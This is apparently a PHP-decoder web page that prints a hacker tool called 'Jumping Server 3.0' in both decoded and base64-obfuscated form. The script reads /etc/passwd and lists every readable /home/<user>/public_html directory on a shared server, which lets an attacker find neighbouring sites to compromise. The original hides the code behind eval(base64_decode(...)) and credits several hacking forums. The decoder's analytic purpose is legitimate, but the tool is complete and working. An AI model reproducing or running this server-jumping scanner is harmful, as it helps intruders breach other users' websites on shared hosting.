Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Jumping Server 3.0 - www.code-security.com // Author : uzanc | [email protected]..

Decoded Output download

echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':');  $username = substr($str,0,$pos);  $dirz = '/home/'.$username.'/public_html/';  if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username);  array_push($pub,$dirz); }}}$i++;}
echo '<p><font size="5" color="#008080" face="Calibri">Server Jumping Finder Version 3.0 <br></font><font size="3" color="#800000" face="Calibri">Created by uzanc | 2011 - Tangerang - Indonesia</font><font size="4" color="#000000" face="Calibri"><br><br>Dedicated To : <a href="http://code-security.com" target=_blank>www.code-security.com</a> - <a href="http://hacker-cisadane.org" target=_blank>www.hacker-cisadane.org</a></font><font size="3" color="#800000" face="Calibri"><br>Thank to : Yogyacarderlink - Indonesian Cyber - Hacker Newbie - Devilzc0de - Lumajangcrew And All Forum Hacker Indonesia</font></p><br><font size="3" color="#008080" face="Calibri">         [-]==================[ START ]==================[-] <br><br></font>';
foreach ($users as $user){echo "<font size='3' color='#ee0808' face='Calibri'> [+] /home/$user/public_html/</font><br/>";} echo "
 <font size='3' color='#008080' face='Calibri'><br>[-]==================[ FINISH ]==================[-] <br></font>
"; echo "
 <font size='2' color='#800000' face='Calibri'>[+] Scanners have been completed | Thank you for using this tools [+]</font>
"; echo '</body></html>';

Did this file decode correctly?

Original Code

 <?php

// Jumping Server 3.0 - www.code-security.com
// Author : uzanc | [email protected]
// Thanks for : Hacker Cisadane - Lumajangcrew - TMTC 2 - Devilzc0de - Hacker Newbie - Indonesian Cyber - Indonesian Hacker - Indonesian Coder - Surabaya Hackerlink - Serverisdown - And All Forum Hacking In The World
// Supporter by : cakill | xadpritox | dansky | arulz | direxer | jhoni | guard | nacomb13 | nobita_chupuy | mr.at | zerocool | evilgirl | blackboy007 | dopunk | l1n9g4 | spykit | and you

$jumping = "ZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPicuZ2V0ZW52KCJIVFRQX0hPU1QiKS4nIC0gSnVtcGluZyBTZXJ2ZXI8L3RpdGxlPjwvaGVhZD48Ym9keT4nOw0KKCRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpID09IDApID8gJHNtID0gJ29mZic6IGRpZSgnPGZvbnQgc2l6ZT0iNCIgY29sb3I9IiMwMDAwMDAiIGZhY2U9IkNhbGlicmkiPjxiPkVycm9yOiBTYWZlX21vZGUgPSBPbjwvYj48L2ZvbnQ+Jyk7DQpzZXRfdGltZV9saW1pdCgwKTtAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTtpZiAoISRwYXNzd2QpIHsgZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+Wy1dIEVycm9yIDogQ291ZG5gdCBSZWFkIC9ldGMvcGFzc3dkPC9iPjwvZm9udD4nKTsgfQ0KJHB1YiA9IGFycmF5KCk7JHVzZXJzID0gYXJyYXkoKTskY29uZiA9IGFycmF5KCk7JGkgPSAwO3doaWxlKCFmZW9mKCRwYXNzd2QpKXskc3RyID0gZmdldHMoJHBhc3N3ZCk7aWYgKCRpID4gMTAwKXsgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7ICAkdXNlcm5hbWUgPSBzdWJzdHIoJHN0ciwwLCRwb3MpOyAgJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOyAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKSB7IGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsgIGFycmF5X3B1c2goJHB1YiwkZGlyeik7IH19fSRpKys7fQ0KZWNobyAnPHA+PGZvbnQgc2l6ZT0iNSIgY29sb3I9IiMwMDgwODAiIGZhY2U9IkNhbGlicmkiPlNlcnZlciBKdW1waW5nIEZpbmRlciBWZXJzaW9uIDMuMCA8YnI+PC9mb250Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjODAwMDAwIiBmYWNlPSJDYWxpYnJpIj5DcmVhdGVkIGJ5IHV6YW5jIHwgMjAxMSAtIFRhbmdlcmFuZyAtIEluZG9uZXNpYTwvZm9udD48Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGJyPjxicj5EZWRpY2F0ZWQgVG8gOiA8YSBocmVmPSJodHRwOi8vY29kZS1zZWN1cml0eS5jb20iIHRhcmdldD1fYmxhbms+d3d3LmNvZGUtc2VjdXJpdHkuY29tPC9hPiAtIDxhIGhyZWY9Imh0dHA6Ly9oYWNrZXItY2lzYWRhbmUub3JnIiB0YXJnZXQ9X2JsYW5rPnd3dy5oYWNrZXItY2lzYWRhbmUub3JnPC9hPjwvZm9udD48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzgwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGJyPlRoYW5rIHRvIDogWW9neWFjYXJkZXJsaW5rIC0gSW5kb25lc2lhbiBDeWJlciAtIEhhY2tlciBOZXdiaWUgLSBEZXZpbHpjMGRlIC0gTHVtYWphbmdjcmV3IEFuZCBBbGwgRm9ydW0gSGFja2VyIEluZG9uZXNpYTwvZm9udD48L3A+PGJyPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDA4MDgwIiBmYWNlPSJDYWxpYnJpIj4gICAgICAgICBbLV09PT09PT09PT09PT09PT09PT1bIFNUQVJUIF09PT09PT09PT09PT09PT09PT1bLV0gPGJyPjxicj48L2ZvbnQ+JzsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcil7ZWNobyAiPGZvbnQgc2l6ZT0nMycgY29sb3I9JyNlZTA4MDgnIGZhY2U9J0NhbGlicmknPiBbK10gL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvPC9mb250Pjxici8+Ijt9IGVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz48YnI+Wy1dPT09PT09PT09PT09PT09PT09WyBGSU5JU0ggXT09PT09PT09PT09PT09PT09PVstXSA8YnI+PC9mb250PlxuIjsgZWNobyAiXG4gPGZvbnQgc2l6ZT0nMicgY29sb3I9JyM4MDAwMDAnIGZhY2U9J0NhbGlicmknPlsrXSBTY2FubmVycyBoYXZlIGJlZW4gY29tcGxldGVkIHwgVGhhbmsgeW91IGZvciB1c2luZyB0aGlzIHRvb2xzIFsrXTwvZm9udD5cbiI7IGVjaG8gJzwvYm9keT48L2h0bWw+JzsNCg=="; eval(base64_decode($jumping));
?>

Function Calls

getenv 1
base64_decode 1

Variables

$jumping ZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPicuZ2V0ZW52KCJIVFRQX0hPU1Qi..

Stats

MD5 4be91aff92fd01a6b9ab98d7d1f01a2a
Eval Count 1
Decode Time 94 ms